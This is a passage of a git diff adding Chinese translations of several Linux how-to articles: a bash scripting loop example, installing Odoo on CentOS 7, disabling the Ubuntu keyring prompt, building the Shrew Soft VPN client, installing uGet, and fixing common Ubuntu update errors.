~]# + +光标在消息的后面(不是在新的一行中),这有点意思。(LCTT 译注:如果用 echo 命令输出显示的话,可以用 -n 参数来避免换行。) + +### 循环 ### + +是时候来改进我们的脚本了。如果用户一整天都在接电话,如果每次都要去运行,这岂不是很麻烦?让我们让这些活动都永无止境地循环去吧: + + [root@localhost ~]# cat note.sh + #!/bin/bash + while true + do + read -p "Phone number: " phone + now=`date "+%Y.%m.%d %H:%M:%S"` + read -p "Name: " name + read -p "Issue: " issue + echo "$now/$phone/$name/$issue">>data.txt + done + +我已经交换了**read phone**和**now=`date`**行的位置。这是因为我想要在输入电话号码后再获得时间。如果我把它放在循环的首行,那么循环一次后,变量 now 就会在数据存储到文件中后马上获得时间。而这并不好,因为下一次呼叫可能在20分钟后,甚至更晚。 + + [root@localhost ~]# ./note.sh + Phone number: 123 + Name: Jim + Issue: Script still not works. + Phone number: 777 + Name: Daniel + Issue: I broke my monitor + Phone number: ^C + [root@localhost ~]# cat data.txt + 2015.04.23 21:38:56/123/Jim/Script hanging. + 2015.04.23 21:43:50/321/Susane/Mouse was stolen + 2015.04.23 21:47:55/123/Jim/Script still not works. + 2015.04.23 21:48:16/777/Daniel/I broke my monitor + [root@localhost ~]# + +注意: 要从无限循环中退出,你可以按[Ctrl]+[C]键。Shell会显示\^表示Ctrl键。 + +### 使用管道重定向 ### + +让我们添加更多功能到我们的“弗兰肯斯坦(Frankenstein)”,我想要脚本在每次呼叫后显示某个统计数据。比如说,我想要查看各个号码呼叫了我几次。对于这个,我们应该cat文件data.txt: + + [root@localhost ~]# cat data.txt + 2015.04.23 21:38:56/123/Jim/Script hanging. + 2015.04.23 21:43:50/321/Susane/Mouse was stolen + 2015.04.23 21:47:55/123/Jim/Script still not works. + 2015.04.23 21:48:16/777/Daniel/I broke my monitor + 2015.04.23 22:02:14/123/Jimmy/New script also not working!!! + [root@localhost ~]# + +现在,所有输出我们都可以重定向到**cut**命令,让**cut**来把每行切成一块一块(我们使用分隔符“/”),然后打印第二个字段: + + [root@localhost ~]# cat data.txt | cut -d"/" -f2 + 123 + 321 + 123 + 777 + 123 + [root@localhost ~]# + +现在,我们可以把这个输出重定向打另外一个命令**sort**: + + [root@localhost ~]# cat data.txt | cut -d"/" -f2|sort + 123 + 123 + 123 + 321 + 777 + [root@localhost ~]# + +然后只留下唯一的行。要统计唯一条目,只需添加**-c**键到**uniq**命令: + + [root@localhost ~]# cat data.txt | cut -d"/" -f2 | sort | uniq -c + 3 123 + 1 321 + 1 777 + [root@localhost ~]# + +只要把这个添加到我们的循环的最后: + + #!/bin/bash + while true + do + read -p "Phone number: " phone + now=`date "+%Y.%m.%d %H:%M:%S"` + read -p "Name: " name + read -p "Issue: " issue + echo "$now/$phone/$name/$issue">>data.txt + echo "===== We got calls from =====" + cat data.txt | cut -d"/" -f2 | sort | uniq -c + echo "--------------------------------" + done + +运行: + + [root@localhost ~]# ./note.sh + Phone number: 454 + Name: Malini + Issue: Windows license expired. + ===== We got calls from ===== + 3 123 + 1 321 + 1 454 + 1 777 + -------------------------------- + Phone number: ^C + +![running script](http://blog.linoxide.com/wp-content/uploads/2015/04/Capture11.png) + +当前场景贯穿了几个熟知的步骤: + +- 显示消息 +- 获取用户输入 +- 存储值到文件 +- 处理存储的数据 + +但是,如果用户有点责任心,他有时候需要输入数据,有时候需要统计,或者可能要在存储的数据中查找一些东西呢?对于这些事情,我们需要使用switches/cases,并知道怎样来很好地格式化输出。这对于在shell中“画”表格的时候很有用。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-shell-script/guide-start-learning-shell-scripting-scratch/ + +作者:[Petras Liumparas][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/petrasl/ diff --git a/published/201506/20150506 How to Setup OpenERP (Odoo) on CentOS 7.x.md b/published/201506/20150506 How to Setup OpenERP (Odoo) on CentOS 7.x.md new file mode 100644 index 0000000000..0035432ecb --- /dev/null +++ b/published/201506/20150506 How to Setup OpenERP (Odoo) on CentOS 7.x.md @@ -0,0 +1,112 @@ +如何在CentOS 7.x中安装OpenERP(Odoo) +================================================================================ +各位好,这篇教程关于的是如何在CentOS 7中安装Odoo(就是我们所知的OpenERP)。你是不是在考虑为你的业务安装一个不错的ERP(企业资源规划)软件?那么OpenERP就是你寻找的最好的程序,因为它是一款为你的商务提供杰出特性的自由开源软件。 + +[OpenERP][1]是一款自由开源的传统的OpenERP(企业资源规划),它包含了开源CRM、网站构建、电子商务、项目管理、计费账务、POS、人力资源、市场、生产、采购管理以及其它模块用于提高效率及销售。Odoo中的应用可以作为独立程序使用,它们也可以无缝集成到一起,因此你可以在安装几个程序来得到一个全功能的开源ERP。 + +因此,下面是在你的CentOS上安装OpenERP的步骤。 + +### 1. 安装 PostgreSQL ### + +首先,首先我们需要更新CentOS 7的软件包来确保是最新的包,补丁和安全更新。要更新我们的系统,我们要在shell下运行下面的命令。 + + # yum clean all + # yum update + +现在我们要安装PostgreSQL,因为OpenERP使用PostgreSQL作为它的数据库。要安装它,我们需要运行下面的命令。 + + # yum install postgresql postgresql-server postgresql-libs + +![Installing postgresql](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-postgresql.png) + +安装完成后,我们需要用下面的命令初始化数据库。 + + # postgresql-setup initdb + +![Intializating postgresql](http://blog.linoxide.com/wp-content/uploads/2015/03/intializating-postgresql.png) + +我们接着设置PostgreSQL来使它每次开机启动。 + + # systemctl enable postgresql + # systemctl start postgresql + +因为我们还没有为用户“postgresql”设置密码,我们现在设置。 + + # su - postgres + $ psql + postgres=# \password postgres + postgres=# \q + # exit + +![setting password postgres](http://blog.linoxide.com/wp-content/uploads/2015/03/setting-password-postgres.png) + +### 2. 设置Odoo仓库 ### + +在初始化数据库初始化完成后,我们要添加 EPEL(企业版Linux的额外包)到我们的CentOS中。Odoo(或者OpenERP)依赖的Python运行时环境以及其他包没有包含在标准仓库中。这样我们要为企业版Linux添加额外的包仓库支持来解决Odoo所需要的依赖。要安装完成,我们需要运行下面的命令。 + + # yum install epel-release + +![Installing EPEL Release](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-epel-release.png) + +现在,安装EPEL后,我们现在使用yum-config-manager添加Odoo(OpenERP)的仓库。 + + # yum install yum-utils + + # yum-config-manager --add-repo=https://nightly.odoo.com/8.0/nightly/rpm/odoo.repo + +![Adding OpenERP (Odoo) Repo](http://blog.linoxide.com/wp-content/uploads/2015/03/added-odoo-repo.png) + +### 3. 安装Odoo 8 (OpenERP) ### + +在CentOS 7中添加Odoo 8(OpenERP)的仓库后。我们使用下面的命令来安装Odoo 8(OpenERP)。 + + # yum install -y odoo + +上面的命令会安装odoo以及必须的依赖的包。 + +![Installing odoo or OpenERP](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-odoo.png) + +现在我们使用下面的命令在每次启动后启动Odoo服务。 + + # systemctl enable odoo + # systemctl start odoo + +![Starting Odoo](http://blog.linoxide.com/wp-content/uploads/2015/03/starting-odoo.png) + +### 4. 打开防火墙 ### + +因为Odoo使用8069端口,我们需要在防火墙中允许远程访问。我们使用下面的命令来在防火墙中允许8069端口访问。 + + # firewall-cmd --zone=public --add-port=8069/tcp --permanent + # firewall-cmd --reload + +![Allowing firewall Port](http://blog.linoxide.com/wp-content/uploads/2015/03/allowing-firewall-port.png) + +**注意:默认情况下只有本地才允许连接数据库。如果我们要允许PostgreSQL的远程访问,我们需要在pg_hba.conf添加下面图片中一行** + + # nano /var/lib/pgsql/data/pg_hba.conf + +![Allowing Remote Access pgsql](http://blog.linoxide.com/wp-content/uploads/2015/03/allowing-remote-access-pgsql.png) + +### 5. Web接口 ### + +我们已经在CentOS 7中安装了最新的Odoo 8(OpenERP),我们可以在浏览器中输入`http://ip-address:8069`来访问Odoo。 接着,我们要做的第一件事就是创建一个新的数据库和新的密码。注意,主密码默认是‘admin’。接着,我们可以在面板中输入用户名和密码。 + +![Odoo Panel](http://blog.linoxide.com/wp-content/uploads/2015/03/odoo-panel.png) + +### 总结 ### + +Odoo 8(OpenERP)是世界上最好的开源ERP程序。OpenERP是由许多模块组成的针对商务和公司的完整ERP程序,我们已经把它安装好了。因此,如果你有任何问题、建议、反馈请在下面的评论栏写下。谢谢你!享受OpenERP(Odoo 8)吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/setup-openerp-odoo-centos-7/ + +作者:[Arun Pyasi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://www.odoo.com/ diff --git a/published/201506/20150506 Linux FAQs with Answers--How to disable entering password for default keyring to unlock on Ubuntu desktop.md b/published/201506/20150506 Linux FAQs with Answers--How to disable entering password for default keyring to unlock on Ubuntu desktop.md new file mode 100644 index 0000000000..fb67d3dd34 --- /dev/null +++ b/published/201506/20150506 Linux FAQs with Answers--How to disable entering password for default keyring to unlock on Ubuntu desktop.md @@ -0,0 +1,55 @@ +Linux有问必答:Ubuntu桌面上如何禁用默认的密钥环解锁提示 +================================================================================ +>**问题**:当我启动我的Ubuntu桌面时,出现了一个弹出对话框,要求我输入密码来解锁默认的密钥环。我怎样才能禁用这个“解锁默认密钥环”弹出窗口,并自动解锁我的密钥环? + +密钥环是一个以加密方式存储你的登录信息的本地数据库。各种桌面应用(如浏览器、电子邮件客户端)使用密钥环来安全地存储并管理你的登录凭证、机密、密码、证书或密钥。对于那些需要检索存储在密钥环中的信息的应用程序,需要解锁该密钥环。 + +Ubuntu桌面所使用的GNOME密钥环被整合到了桌面登录中,该密钥环会在你验证进入桌面后自动解锁。但是,如果你设置了自动登录桌面或者是从休眠中唤醒,你默认的密钥环仍然可能“被锁定”的。在这种情况下,你会碰到这一提示: + +>“输入密码来解锁密钥环‘默认密钥环’。某个应用想要访问密钥环‘默认密钥环’,但它被锁定了。” +> +![](https://farm9.staticflickr.com/8787/16716456754_309c39513c_o.png) + +如果你想要避免在每次弹出对话框出现时输入密码来解锁默认密钥环,那么你可以这样做。 + +在做之前,请先了解禁用密码提示后可能出现的结果。通过自动解锁默认密钥环,你可以让任何使用你桌面的人无需知道你的密码而能获取你的密钥环(以及存储在密钥环中的任何信息)。 + +### 禁用默认密钥环解锁密码 ### + +打开Dash,然后输入“password”来启动“密码和密钥”应用。 + +![](https://farm8.staticflickr.com/7709/17312949416_ed9c4fbe2d_b.jpg) + +或者,使用seahorse命令从命令行启动图形界面。 + + $ seahorse + +在左侧面板中,右击“默认密钥环”,并选择“修改密码”。 + +![](https://farm8.staticflickr.com/7740/17159959750_ba5b675b00_b.jpg) + +输入你的当前登录密码。 + +![](https://farm8.staticflickr.com/7775/17347551135_ce09260818_b.jpg) + +在设置“默认”密钥环新密码的密码框中留空。 + +![](https://farm8.staticflickr.com/7669/17345663222_c9334c738b_c.jpg) + +在询问是否不加密存储密码对话框中点击“继续”。 + +![](https://farm8.staticflickr.com/7761/17152692309_ce3891a0d9_c.jpg) + +搞定。从今往后,那个该死的解锁密钥环提示对话框再也不会来烦你了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/disable-entering-password-unlock-default-keyring.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201506/20150506 Linux FAQs with Answers--How to install Shrew Soft IPsec VPN client on Linux.md b/published/201506/20150506 Linux FAQs with Answers--How to install Shrew Soft IPsec VPN client on Linux.md new file mode 100644 index 0000000000..56f57a5020 --- /dev/null +++ b/published/201506/20150506 Linux FAQs with Answers--How to install Shrew Soft IPsec VPN client on Linux.md @@ -0,0 +1,98 @@ +Linux有问必答:Linux上如何安装Shrew Soft IPsec VPN +================================================================================ + +> **问题**:我需要连接到一个IPSec VPN网关,鉴于此,我尝试使用Shrew Soft VPN客户端,它是一个免费版本。我怎样才能安装Shrew Soft VPN客户端到[某个Linux发行版]? + +市面上有许多商业VPN网关,同时附带有他们自己的专有VPN客户端软件。虽然也有许多开源的VPN服务器/客户端备选方案,但它们通常缺乏复杂的IPsec支持,比如互联网密钥交换(IKE),这是一个标准的IPsec协议,用于加固VPN密钥交换和验证安全。Shrew Soft VPN是一个免费的IPsec VPN客户端,它支持多种验证方法、密钥交换、加密以及防火墙穿透选项。 + +下面介绍如何安装Shrew Soft VPN客户端到Linux平台。 + +首先,从[官方站点][1]下载它的源代码。 + +### 安装Shrew VPN客户端到Debian, Ubuntu或者Linux Mint ### + +Shrew Soft VPN客户端图形界面要求使用Qt 4.x。所以,作为依赖,你需要安装其开发文件。 + + $ sudo apt-get install cmake libqt4-core libqt4-dev libqt4-gui libedit-dev libssl-dev checkinstall flex bison + $ wget https://www.shrew.net/download/ike/ike-2.2.1-release.tbz2 + $ tar xvfvj ike-2.2.1-release.tbz2 + $ cd ike + $ cmake -DCMAKE_INSTALL_PREFIX=/usr -DQTGUI=YES -DETCDIR=/etc -DNATT=YES . + $ make + $ sudo make install + $ cd /etc/ + $ sudo mv iked.conf.sample iked.conf + +### 安装Shrew VPN客户端到CentOS, Fedora或者RHEL ### + +与基于Debian的系统类似,在编译前你需要安装一堆依赖包,包括Qt4。 + + $ sudo yum install qt-devel cmake gcc-c++ openssl-devel libedit-devel flex bison + $ wget https://www.shrew.net/download/ike/ike-2.2.1-release.tbz2 + $ tar xvfvj ike-2.2.1-release.tbz2 + $ cd ike + $ cmake -DCMAKE_INSTALL_PREFIX=/usr -DQTGUI=YES -DETCDIR=/etc -DNATT=YES . + $ make + $ sudo make install + $ cd /etc/ + $ sudo mv iked.conf.sample iked.conf + +在基于Red Hat的系统中,最后一步需要用文本编辑器打开/etc/ld.so.conf文件,并添加以下行。 + + $ sudo vi /etc/ld.so.conf + +---------- + + include /usr/lib/ + +重新加载运行时绑定的共享库文件,以容纳新安装的共享库: + + $ sudo ldconfig + +### 启动Shrew VPN客户端 ### + +首先,启动IKE守护进程(iked)。该守护进作为VPN客户端程通过IKE协议与远程主机经由IPSec通信。 + + $ sudo iked + +![](https://farm9.staticflickr.com/8685/17175688940_59c2db64c9_b.jpg) + +现在,启动qikea,它是一个IPsec VPN客户端前端。该GUI应用允许你管理远程站点配置并初始化VPN连接。 + +![](https://farm8.staticflickr.com/7750/16742992713_eed7f97939_b.jpg) + +要创建一个新的VPN配置,点击“添加”按钮,然后填入VPN站点配置。创建配置后,你可以通过点击配置来初始化VPN连接。 + +![](https://farm8.staticflickr.com/7725/17337297056_3d38dc2180_b.jpg) + +### 故障排除 ### + +1. 我在运行iked时碰到了如下错误。 + + iked: error while loading shared libraries: libss_ike.so.2.2.1: cannot open shared object file: No such file or directory + +要解决该问题,你需要更新动态链接器来容纳libss_ike库。对于此,请添加库文件的位置路径到/etc/ld.so.conf文件中,然后运行ldconfig命令。 + + $ sudo ldconfig + +验证libss_ike是否添加到了库路径: + + $ ldconfig -p | grep ike + +---------- + + libss_ike.so.2.2.1 (libc6,x86-64) => /lib/libss_ike.so.2.2.1 + libss_ike.so (libc6,x86-64) => /lib/libss_ike.so + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-shrew-soft-ipsec-vpn-client-linux.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:https://www.shrew.net/download/ike diff --git a/published/201506/20150507 Install uGet Download Manager 2.0 in Debian Ubuntu Linux Mint and Fedora.md b/published/201506/20150507 Install uGet Download Manager 2.0 in Debian Ubuntu Linux Mint and Fedora.md new file mode 100644 index 0000000000..569a50d667 --- /dev/null +++ b/published/201506/20150507 Install uGet Download Manager 2.0 in Debian Ubuntu Linux Mint and Fedora.md @@ -0,0 +1,140 @@ +在 Debian, Ubuntu, Linux Mint 及 Fedora 中安装 uGet 下载管理器 2.0 +================================================================================ +在经历了一段漫长的开发期后,并发布了超过 11 个开发版本,最终 uGet 项目小组高兴地宣布 uGet 的最新稳定版本 uGet 2.0 已经可以下载使用了。最新版本包含许多吸引人的特点,例如一个新的设定对话框,改进了 aria2 插件对 BitTorrent 和 Metalink 协议的支持,同时对位于横幅中的 uGet RSS 信息提供了更好的支持,其他特点包括: + +- 新增一个 “检查更新” 按钮,提醒您有关新的发行版本的信息; +- 增添新的语言支持并升级了现有的语言; +- 新增一个 “信息横幅” ,可以让开发者轻松地向所有的用户提供有关 uGet 的信息; +- 增强了帮助菜单,包括文档、提交反馈和错误报告等内容的链接; +- 将 uGet 下载管理器集成到了 Linux 平台下的两个主要的浏览器 Firefox 和 Google Chrome 中; +- 改进了对 Firefox 插件 ‘FlashGot’ 的支持; + +### 何为 uGet ### + +uGet (先前名为 UrlGfe) 是一个开源,免费,且极其强大的基于 GTK 的多平台下载管理器应用程序,它用 C 语言写就,在 GPL 协议下发布。它提供了大量功能,如恢复先前的下载任务,支持多点下载,使用一个独立的配置来支持分类,剪贴板监视,下载队列,从 HTML 文件中导出 URL 地址,集成在 Firefox 中的 Flashgot 插件中,使用集成在 uGet 中的 aria2(一个命令行下载管理器) 来下载 torrent 和 metalink 文件。 + +我已经在下面罗列出了 uGet 下载管理器的所有关键特点,并附带了详细的解释。 + +#### uGet 下载管理器的关键特点 #### + +- 下载队列: 将你的下载任务放入一个队列中。当某些下载任务完成后,将会自动开始下载队列中余下的文件; +- 恢复下载: 假如在某些情况下,你的网络中断了,不要担心,你可以从先前停止的地方继续下载或重新开始; +- 下载分类: 支持多种分类来管理下载; +- 剪贴板监视: 将要下载的文件类型复制到剪贴板中,便会自动弹出下载提示框以下载刚才复制的文件; +- 批量下载: 允许你轻松地一次性下载多个文件; +- 支持多种协议: 允许你轻松地使用 aria2 命令行插件通过 HTTP, HTTPS, FTP, BitTorrent 及 Metalink 等协议下载文件; +- 多连接: 使用 aria2 插件,每个下载同时支持多达 20 个连接; +- 支持 FTP 登录或 FTP 匿名登录: 同时支持使用用户名和密码来登录 FTP 或匿名 FTP ; +- 队列下载: 新增队列下载,现在你可以对你的所有下载进行安排调度; +- 通过 FlashGot 与 FireFox 集成: 与作为一个独立支持的 Firefox 插件的 FlashGot 集成,从而可以处理单个或大量的下载任务; +- CLI 界面或虚拟终端支持: 提供命令行或虚拟终端选项来下载文件; +- 自动创建目录: 假如你提供了一个先前并不存在的保存路径,uGet 将会自动创建这个目录; +- 下载历史管理: 跟踪记录已下载和已删除的下载任务的条目,每个列表支持 9999 个条目,比当前默认支持条目数目更早的条目将会被自动删除; +- 多语言支持: uGet 默认使用英语,但它可支持多达 23 种语言; +- Aria2 插件: uGet 集成了 Aria2 插件,来为你提供更友好的 GUI 界面; + +如若你想了解更加完整的特点描述,请访问 uGet 官方的 [特点页面][1]. + +### 在 Debian, Ubuntu, Linux Mint 及 Fedora 中安装 uGet ### + +uGet 开发者在 Linux 平台下的各种软件仓库中添加了 uGet 的最新版本,所以你可以在你使用的 Linux 发行版本下使用受支持的软件仓库来安装或升级 uGet 。 + +当前,一些 Linux 发行版本下的 uGet 可能不是最新的,但你可以到 [uGet 下载页面][2] 去了解你所用发行版本的支持状态,在那里选择你喜爱的发行版本来了解更多的信息。 + +#### 在 Debian 下 #### + +在 Debian Jessie 和Sid 中,你可以使用官方软件仓库轻易地安装和升级可靠的 uGet 软件包。 + + $ sudo apt-get update + $ sudo apt-get install uget + +#### 在 Ubuntu 和 Linux Mint 下 #### + +在 Ubuntu 和 Linux Mint 下,你可以使用官方的 PPA `ppa:plushuang-tw/uget-stable` 安装和升级 uGet ,通过使用这个 PPA,你可以自动地与最新版本保持同步。 + + $ sudo add-apt-repository ppa:plushuang-tw/uget-stable + $ sudo apt-get update + $ sudo apt-get install uget + +#### 在 Fedora 下 #### + +在 Fedora 20 – 21 下,最新版本的 uGet(2.0) 可以从官方软件仓库中获得可靠的软件包。 + + $ sudo yum install uget + +**注**: 在旧版本的 Debian, Ubuntu, Linux Mint 和 Fedora 下,用户也可以安装 uGet , 但可获取的版本为 1.10.4 。假如你期待使用升级版本(例如 2.0 版本),你需要升级你的系统并添加 uGet 的 PPA 以此来获取最新的稳定版本。 + +### 安装 aria2 插件 ### + +[aria2][3] 是一个卓越的命令行下载管理应用,在 uGet 中它作为一个 aria2 插件,为 uGet 增添了更为强大的功能,如下载 toorent,metalinks 文件,支持多种协议和多来源下载等功能。 + +默认情况下,uGet 在当今大多数的 Linux 系统中使用 `curl` 来作为后端,但 aria2 插件将 curl 替换为 aria2 来作为 uGet 的后端。 + +aria2 是一个单独的软件包,需要独立安装。你可以在你的 Linux 发行版下,使用受支持的软件仓库来轻易地安装 aria2 的最新版本,或根据 [下载 aria2 页面][4] 来安装它,该页面详细解释了在各个发行版本中如何安装 aria2 。 + +#### 在 Debian, Ubuntu 和 Linux Mint 下 #### + +利用下面的命令,使用 aria2 的个人软件仓库来安装最新版本的 aria2 : + + $ sudo add-apt-repository ppa:t-tujikawa/ppa + $ sudo apt-get update + $ sudo apt-get install aria2 + +#### 在 Fedora 下 #### + +Fedora 的官方软件仓库中已经添加了 aria2 软件包,所以你可以轻易地使用下面的 yum 命令来安装它: + + $ sudo yum install aria2 + +#### 开启 uGet #### + +为了启动 uGet,从桌面菜单的搜索栏中键入 "uGet"。可参考如下的截图: + +![开启 uGet 下载管理器](http://www.tecmint.com/wp-content/uploads/2014/03/Start-uGet.gif) + +*开启 uGet 下载管理器* + +![uGet 版本: 2.0](http://www.tecmint.com/wp-content/uploads/2014/03/uGet-Version.gif) + +*uGet 版本: 2.0* + +#### 在 uGet 中激活 aria2 插件 #### + +为了激活 aria2 插件, 从 uGet 菜单接着到 `编辑 –> 设置 –> 插件` , 从下拉菜单中选择 "aria2"。 + +![为 uGet 启用 Aria2 插件](http://www.tecmint.com/wp-content/uploads/2014/03/Enable-Aria2-Plugin.gif) + +*为 uGet 启用 Aria2 插件* + +### uGet 2.0 截图赏析 ### + +![使用 Aria2 下载文件](http://www.tecmint.com/wp-content/uploads/2014/03/Download-Files-Using-Aria2.gif) + +*使用 Aria2 下载文件* + +![使用 uGet 下载 Torrent 文件](http://www.tecmint.com/wp-content/uploads/2014/03/Download-Torrent-File.gif) + +*使用 uGet 下载 Torrent 文件* + +![使用 uGet 进行批量下载](http://www.tecmint.com/wp-content/uploads/2014/03/Batch-Download-Files.gif) + +*使用 uGet 进行批量下载* + +针对其他 Linux 发行版本和 Windows 平台的 RPM 包和 uGet 的源文件都可以在 uGet 的[下载页面][5] 下找到。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-uget-download-manager-in-linux/ + +作者:[Ravi Saive][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ +[1]:http://uget.visuex.com/features +[2]:http://ugetdm.com/downloads +[3]:http://www.tecmint.com/install-aria2-a-multi-protocol-command-line-download-manager-in-rhel-centos-fedora/ +[4]:http://ugetdm.com/downloads-aria2 +[5]:http://ugetdm.com/downloads \ No newline at end of file diff --git a/published/201506/20150511 Fix Various Update Errors In Ubuntu 14.04.md b/published/201506/20150511 Fix Various Update Errors In Ubuntu 14.04.md new file mode 100644 index 0000000000..085869bde6 --- /dev/null +++ b/published/201506/20150511 Fix Various Update Errors In Ubuntu 14.04.md @@ -0,0 +1,151 @@ +Ubuntu 更新错误修复大全 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Fix_Ubuntu_Update_Error.jpeg) + +在Ubuntu更新中,谁没有碰见个错误?在Ubuntu和其它基于Ubuntu的Linux发行版中,更新错误是一个共性的错误,也经常发生。这些错误出现的原因多种多样,修复起来也很简单。在本文中,我们将见到Ubuntu中各种类型频繁发生的更新错误以及它们的修复方法。 + +### 合并列表问题 ### + +当你在终端中运行更新命令时,你可能会碰到这个错误“[合并列表错误][1]”,就像下面这样: + +> E:Encountered a section with no Package: header, +> +> E:Problem with MergeList /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise_universe_binary-i386_Packages, +> +> E:The package lists or status file could not be parsed or opened.’ + +可以使用以下命令来修复该错误: + + sudo rm -r /var/lib/apt/lists/* + sudo apt-get clean && sudo apt-get update + +### 下载仓库信息失败 -1 ### + +实际上,有两种类型的[下载仓库信息失败错误][2]。如果你的错误是这样的: + +> W:Failed to fetch bzip2:/var/lib/apt/lists/partial/in.archive.ubuntu.com_ubuntu_dists_oneiric_restricted_binary-i386_Packages Hash Sum mismatch, +> +> W:Failed to fetch bzip2:/var/lib/apt/lists/partial/in.archive.ubuntu.com_ubuntu_dists_oneiric_multiverse_binary-i386_Packages Hash Sum mismatch, +> +> E:Some index files failed to download. They have been ignored, or old ones used instead + +那么,你可以用以下命令修复: + + sudo rm -rf /var/lib/apt/lists/* + sudo apt-get update + +### 下载仓库信息失败 -2 ### + +下载仓库信息失败的另外一种类型是由于PPA过时导致的。通常,当你运行更新管理器,并看到这样的错误时: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2013/04/Failed-to-download-repository-information-Ubuntu-13.04.png) + +你可以运行sudo apt-get update来查看哪个PPA更新失败,你可以把它从源列表中删除。你可以按照这个截图指南来[修复下载仓库信息失败错误][3]。 + +### 下载包文件失败错误 ### + +一个类似的错误是[下载包文件失败错误][4],像这样: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Ubuntu_Update_error.jpeg) + +该错误很容易修复,只需修改软件源为主服务器即可。转到“软件和更新”,在那里你可以修改下载服务器为主服务器: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Change_server_Ubuntu.jpeg) + +### 部分更新错误 ### + +在终端中运行更新会出现[部分更新错误][5]: + +> Not all updates can be installed +> +> Run a partial upgrade, to install as many updates as possible + +在终端中运行以下命令来修复该错误: + + sudo apt-get install -f + +### 加载共享库时发生错误 ### + +该错误更多是安装错误,而不是更新错误。如果尝试从源码安装程序,你可能会碰到这个错误: + +> error while loading shared libraries: +> +> cannot open shared object file: No such file or directory + +该错误可以通过在终端中运行以下命令来修复: + + sudo /sbin/ldconfig -v + +你可以在这里查找到更多详细内容[加载共享库时发生错误][6]。 + +### 无法获取锁 /var/cache/apt/archives/lock ### + +在另一个程序在使用APT时,会发生该错误。假定你正在Ubuntu软件中心安装某个东西,然后你又试着在终端中运行apt。 + +> E: Could not get lock /var/cache/apt/archives/lock – open (11: Resource temporarily unavailable) +> +> E: Unable to lock directory /var/cache/apt/archives/ + +通常,只要你把所有其它使用apt的程序关了,这个问题就会好的。但是,如果问题持续,可以使用以下命令: + + sudo rm /var/lib/apt/lists/lock + +如果上面的命令不起作用,可以试试这个命令: + + sudo killall apt-get + +关于该错误的更多信息,可以在[这里][7]找到。 + +### GPG错误: 下列签名无法验证 ### + +在添加一个PPA时,可能会导致以下错误[GPG错误: 下列签名无法验证][8],这通常发生在终端中运行更新时: + +> W: GPG error: http://repo.mate-desktop.org saucy InRelease: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 68980A0EA10B4DE8 + +我们所要做的,就是获取系统中的这个公钥,从信息中获取密钥号。在上述信息中,密钥号为68980A0EA10B4DE8。该密钥可通过以下方式使用: + + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 68980A0EA10B4DE8 + +在添加密钥后,再次运行更新就没有问题了。 + +### BADSIG错误 ### + +另外一个与签名相关的Ubuntu更新错误是[BADSIG错误][9],它看起来像这样: + +> W: A error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://extras.ubuntu.com precise Release: The following signatures were invalid: BADSIG 16126D3A3E5C1192 Ubuntu Extras Archive Automatic Signing Key +> +> W: GPG error: http://ppa.launchpad.net precise Release: +> +> The following signatures were invalid: BADSIG 4C1CBC1B69B0E2F4 Launchpad PPA for Jonathan French W: Failed to fetch http://extras.ubuntu.com/ubuntu/dists/precise/Release + +要修复该BADSIG错误,请在终端中使用以下命令: + + sudo apt-get clean + cd /var/lib/apt + sudo mv lists oldlist + sudo mkdir -p lists/partial + sudo apt-get clean + sudo apt-get update + +本文汇集了你可能会碰到的**Ubuntu更新错误**,我希望这会对你处理这些错误有所帮助。你在Ubuntu中是否也碰到过其它更新错误呢?请在下面的评论中告诉我,我会试着写个快速指南。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-update-errors-ubuntu-1404/ + +作者:[Abhishek][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/how-to-fix-problem-with-mergelist/ +[2]:http://itsfoss.com/solve-ubuntu-error-failed-to-download-repository-information-check-your-internet-connection/ +[3]:http://itsfoss.com/failed-to-download-repository-information-ubuntu-13-04/ +[4]:http://itsfoss.com/fix-failed-download-package-files-error-ubuntu/ +[5]:http://itsfoss.com/fix-partial-upgrade-error-elementary-os-luna-quick-tip/ +[6]:http://itsfoss.com/solve-open-shared-object-file-quick-tip/ 